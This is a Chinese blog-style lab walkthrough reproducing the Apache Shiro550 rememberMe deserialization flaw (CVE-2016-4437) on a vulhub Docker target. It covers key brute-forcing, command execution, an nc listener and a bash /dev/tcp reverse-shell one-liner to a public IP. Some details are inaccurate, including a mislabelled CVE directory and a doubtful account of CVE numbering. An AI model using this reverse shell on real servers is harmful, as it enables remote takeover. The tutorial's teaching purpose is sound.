Shiro550漏洞爆出的时间是2016年为第4437个漏洞,所以它的CVE编码是2016-4437
文章目录
前言 什么是Shiro550漏洞?
1.Shiro550漏洞原理:
2.漏洞利用
3.漏洞复现:
前提:下载并打开vulhub靶场。
CVE-2016-4437-shiro550漏洞复现
总结 Shiro550 的防御措施:
前言 什么是Shiro550漏洞?
Shiro550漏洞(CVE-2016-4437)是Apache Shiro框架中的一个高危反序列化漏洞,主要影响版本为1.2.4及以前版本。该漏洞允许攻击者通过RememberMe功能实现远程代码执行(RCE)。
1.Shiro550漏洞原理:
Shiro框架的rememberme功能允许用户在下次访问时无需重新登录。
在处理rememberme字段时,Shiro会先进行Base64解码,然后使用AES解密,最后进行反序列化输出,通过两种不同的编码方式进行加解密。
这听起来很安全,但是Shiro的默认AES密钥是硬编码在框架中的,这使得hacker有可能通过爆破或其他手段获取到这个密钥。
一旦hacker获取了AES密钥,就可以构造一个恶意的序列化对象,将其AES加密并Base64编码后,作为rememberme字段发送给shiro服务端,服务端在接收到这个恶意的rememberme字段后,会进行Base64解码和AES解密,最后进行反序列化。
由于反序列化过程中没有进行有效的过滤处理,恶意对象中的代码将被执行,从而导致服务器遭受攻击。
2.漏洞利用
执行任意命令:hacker可以通过构造恶意的序列化对象来执行系统命令,从而控制目标服务器。
反弹shell: hacker可以在自己的服务器上开启一个监听服务,并将恶意代码发送给目标服务器,目标服务器在反序列化恶意对象时会执行其中的恶意代码,从而反弹一个shell给hacker。
3.漏洞复现:
前提:下载并打开vulhub靶场。
1.准备unbantu虚拟机或云服务器
2.去GitHub下载vulhub靶场。
cd vulhub-master //进入靶场
ls
cd shiro/ //进入shiro
ls
cd CVE-2010-3863/ //进入shiro550
docker-compose build //建立容器
docker-compose up -d //拉取镜像
ufw allow 8080 //开放端口
ufw relod
docker ps -a //查看端口docker-compose down //完成练习后关闭容器
CVE-2016-4437-shiro550漏洞复现
服务器ip:38 .6.177.124
使用工具检测:
步骤:
1.将url丢进目标地址->检测当前密钥
2.爆破密钥:
3.检测当前利用链
4.进行命令执行-whoami
执行成功。
命令执行:id
执行成功。
命令执行:反弹shell
unbatu虚拟机或kali:nc -lvp 7777
工具反弹shell:
bash -i >& /dev/tcp/ 38.6.177.124 /7777 0>&1
注:也许是我的靶机装在docker容器里,反弹shell时一直反弹不回去。
于是换了个公网地址:23.224.61.67
反弹成功
3.注入内存码,尝试远程连接:
总结 Shiro550 的防御措施:
及时更新Apache Shiro框架到最新版本,确保已修复该漏洞。
对来自用户的输入进行严格的验证和过滤处理,以防止恶意代码的注入。
使用安全的加密算法和密钥管理策略来保护敏感数据。